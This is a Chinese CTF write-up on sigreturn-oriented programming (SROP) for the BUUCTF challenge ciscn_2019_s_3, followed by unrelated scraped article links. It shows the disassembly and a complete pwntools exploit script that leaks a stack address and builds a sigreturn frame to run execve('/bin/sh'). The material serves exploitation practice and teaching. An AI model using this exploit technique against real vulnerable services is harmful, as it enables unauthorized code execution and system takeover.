SROP
先放个例题吧,原理后面有时间再更:BUUCTF ciscn_2019_s_3
保护只开了nx
1 signed __int64 vuln()
2 {
3 signed __int64 v0; // rax
4 char buf[16]; // [rsp+0h] [rbp-10h] BYREF
5
6 v0 = sys_read(0, buf, 0x400uLL);
7 return sys_write(1u, buf, 0x30uLL);
8 }
1 .text:00000000004004ED vuln proc near ; CODE XREF: main+14↓p
2 .text:00000000004004ED
3 .text:00000000004004ED buf = byte ptr -10h
4 .text:00000000004004ED
5 .text:00000000004004ED ; __unwind {
6 .text:00000000004004ED push rbp
7 .text:00000000004004EE mov rbp, rsp
8 .text:00000000004004F1 xor rax, rax
9 .text:00000000004004F4 mov edx, 400h ; count
10 .text:00000000004004F9 lea rsi, [rsp+buf] ; buf
11 .text:00000000004004FE mov rdi, rax ; fd
12 .text:0000000000400501 syscall ; LINUX - sys_read
13 .text:0000000000400503 mov rax, 1
14 .text:000000000040050A mov edx, 30h ; '0' ; count
15 .text:000000000040050F lea rsi, [rsp+buf] ; buf
16 .text:0000000000400514 mov rdi, rax ; fd
17 .text:0000000000400517 syscall ; LINUX - sys_write
18 .text:0000000000400519 retn
1 .text:00000000004004D6 gadgets proc near
2 .text:00000000004004D6 ; __unwind {
3 .text:00000000004004D6 push rbp
4 .text:00000000004004D7 mov rbp, rsp
5 .text:00000000004004DA mov rax, 0Fh
6 .text:00000000004004E1 retn
7 .text:00000000004004E1 gadgets endp ; sp-analysis failed
8 .text:00000000004004E1
很明显的SROP,要上课了,先把exp放出来吧
1 from pwn import *
2 context.log_level='debug'
3 context.arch='amd64'
4
5 s=process('./1')
6
7 read=0x4004F1
8 syscall_ret=0x400517
9 mov_rax_0xf=0x4004DA
10
11
12 payload=b'/bin/sh\x00aaaaaaaa'+p64(read)
13 s.sendline(payload)
14
15 s.recv(32)
16 bin_sh_addr=u64(s.recv(8))-0x118
17
18 sigframe=SigreturnFrame()
19 sigframe.rax=constants.SYS_execve#0x3b
20 sigframe.rdi=bin_sh_addr
21 sigframe.rip=syscall_ret
22
23 payload=b'a'*0x10+p64(mov_rax_0xf)+p64(syscall_ret)+bytes(sigframe)
24 s.send(payload)
25
26 s.interactive()
SROP的更多相关文章
- srop实战
前言 srop 的作用比较强,在条件允许的情况下,尽量使用它.题目来自于 i春秋的一个比赛. 题目链接: https://gitee.com/hac425/blog_data/blob/master/ ...
- SROP例题
具体攻击原理可以参考安全客这篇文章:入口 刚学了一点,也是懵懵懂懂的,拿几道题来练练手. ciscn_2019_es_7 64位程序,只开启了NX保护. 相当于执行了read(0,buf,0x400) ...
- SROP的一个实例
以前一直只是大概看过这种技术,没实践过,今天刚好遇到一道题,实践了一波,确实很方便 unmoxiao@cat ~/s/pd_ubuntu> r2 -A smallest 00:54:15 War ...
- PetaPoco4.0的事务为什么不会回滚
using (var srop=DbHelper.CurrentDb.GetTransaction()) { ID = bp.AddModel(model).ToStr(); #region 参与楼盘 ...
- 套题T7
P4712 铺瓷砖 时间: 1000ms / 空间: 65536KiB / Java类名: Main 描述
- pwntools简介
安装binutils: git clone https://github.com/Gallopsled/pwntools-binutils sudo apt-get install software- ...
- 2.oracle之用户管理sql
--创建用户--create user 用户名 identified by 密码;create user jojo identified by bean; --给用户授权--grant conn ...
- mysql grep database error(cannot rmdir /dbname)
service mysql stop cd /var/lib/mysql/dbname rm -rf .fmr rm -rf .txt service mysql start srop databas ...
- 使用jdk进行数据迁移(sqlite迁移mysql)
直接粘贴代码 注意:rewriteBatchedStatements=true(加快连接速度) package com.wbg; import org.omg.Messaging.SYNC_WITH_ ...
随机推荐
- Hadoop 相关知识点(一)
作业提交流程(MR执行过程) Mapreduce2.x Client:用来提交作业 ResourceManager:协调集群上的计算资源的分配 NodeManager:负责启动和监控集群上的计算容器( ...
- Yarn【架构、原理、多队列配置】
目录 一.什么是yarn 二.yarn的基本架构和角色 三.yarn的工作机制 四.任务提交流程 五.资源调度器 FIFO 容量调度器 公平调度器 六.容量调度器多队列提交案例实操 1.案例:配置de ...
- 【Android】我有放入Icon到mipmap,但不显示,只显示安卓机器人Icon(Android 8.0 图标适配)
首先,放上别人写的博客,而我自己的博客,只会写大概思路,给自己留给备忘 https://blog.csdn.net/guolin_blog/article/details/79417483 其实会发生 ...
- collection映射
讲了manyToOne和oneToMany,下面来看看get方法.在之前已经说过,如果是映射单对象,直接使用association来映射.而如果关系 是一个集合,则需要使用collection来描述. ...
- 【分布式】Zookeeper的Leader选举-选举过程介绍(经典的Paxos算法解析)
一.前言 前面学习了Zookeeper服务端的相关细节,其中对于集群启动而言,很重要的一部分就是Leader选举,接着就开始深入学习Leader选举. 二.Leader选举 2.1 Leader选举概 ...
- IntentFilter,PendingIntent
1.当Intent在组件间传递时,组件如果想告知Android系统自己能够响应那些Intent,那么就需要用到IntentFilter对象. IntentFilter对象负责过滤掉组件无法响应和处理的 ...
- Android 基础UI组件(一)
1.Toast //显示文字 Toast.makeText(this,"Toast显示文本",Toast.LENGTH_SHORT).show(); //显示图片 Toast to ...
- 格式化代码(Eclipse 格式化代码块快捷键:Ctrl+Shift+F)
1.格式化java代码 : ①Ctrl+Shift+F 但是我们会遇到按 Ctrl+Shift+F不起作用的时候? Ctrl+Shift+F 在搜狗拼音里是简繁替换.一旦安装搜狗拼音这个快 ...
- C#内建接口:IEnumerable
这节讲一下接口IEnumerable. 01 什么是Enumerable 在一些返回集合数据的接口中,我们经常能看到IEnumerable接口的身影.那什么是Enumerable呢?首先它跟C#中的e ...
- C#中继承和多态
1.继承的概念 继承是使用已存在的类的定义作为基础建立新类的技术,新类的定义可以增加新的数据或新的功能,也可以用已存在的类的功能. 为了提高软件模块的可复用性和可扩充性,以便提高软件的开发效率,我们总 ...